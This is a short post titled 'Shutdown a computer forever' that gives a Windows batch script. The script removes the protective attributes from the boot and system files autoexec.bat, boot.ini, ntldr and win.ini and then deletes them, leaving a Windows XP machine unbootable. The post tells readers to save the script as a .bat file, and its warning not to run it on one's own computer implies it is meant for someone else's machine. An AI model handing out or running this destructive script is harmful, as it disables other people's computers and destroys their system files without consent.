Shutdown a computer forever

@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini

Copy the code into TXT and save it as .Bat

Do not run the program on your computer.
If you did choose recovery mode using the WinXP CD ROM